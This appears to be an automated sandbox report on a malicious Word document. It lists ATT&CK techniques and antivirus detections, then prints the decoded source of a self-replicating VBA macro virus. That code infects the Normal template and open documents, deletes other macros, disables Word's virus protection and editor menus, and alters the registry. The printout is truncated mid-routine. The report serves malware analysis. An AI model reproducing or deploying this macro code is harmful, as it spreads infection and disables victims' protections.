MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The macro code attempts to infect other documents by copying itself to the Normal template and any currently open documents. The presence of 'Win.Trojan.Pivis-2' and 'Win.Trojan.C-286' detections further confirms its malicious nature.
Heuristics 5
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8420 bytes |
SHA-256: ecc7b3a8c7c1acdd0d26f3ebec7fbce8bb5e37f8a3e1e9280cadaec9adf56d5f |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Possessed"
Sub Remarks()
' ABU SAYAFF VIRUS created 09/18/2000 finished 10/03/2000
' by: eUgEnE
' Ghostfighter Edition
' This virus is relatively benign. Created for study purposes only and not intented
' to destroy or create damages to files/programs
End Sub
Sub Infect()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Call Initialize
NTInfected = False
For I = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
clan = NormalTemplate.VBProject.VBComponents(I).Name
If clan = "Possessed" Then NTInfected = True
If (clan <> "Possessed") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next I
For Each opendoc In Documents
ODInfected = False
With opendoc
For J = opendoc.VBProject.VBComponents.Count To 1 Step -1
clan = opendoc.VBProject.VBComponents(J).Name
If clan = "Possessed" Then ODInfected = True
If (clan <> "Possessed") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next J
If ODInfected = False Then
k = NormalTemplate.VBProject.VBComponents(2).CodeModule.CountOfLines
If k = Empty Then
k = ActiveDocument.VBProject.VBComponents(2).CodeModule.CountOfLines
End If
RNA = NormalTemplate.VBProject.VBComponents(2).CodeModule.Lines(1, k)
If RNA = Empty Then
RNA = ActiveDocument.VBProject.VBComponents(2).CodeModule.Lines(1, k)
End If
opendoc.VBProject.VBComponents.Add(1).Name = "Possessed"
opendoc.VBProject.VBComponents(2).CodeModule.InsertLines 1, RNA
End If
End With
Next opendoc
If NTInfected = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Possessed", Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save
End If
End Sub
Sub Initialize()
On Error Resume Next
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
CommandBars("tools").Reset
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Customize...").Enabled = False
CommandBars("Tools").Controls("Templates and Add-Ins...").Enabled = False
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
With Application
.UserName = "eUgEnE "
.UserAddress = "Ghostfighter Certified"
.UserInitials = "RMM2001"
End With
With Dialogs(wdDialogFileSummaryInfo)
.Author = "eUgEnE"
.Title = "Ghostfighter Certified!"
.Execute
End With
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\WINDOWS\CURRENTVERSION", _
"RegisteredOwner") = "eUgEnE"
End Sub
Sub FileSave()
On Error Resume Next
Call
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.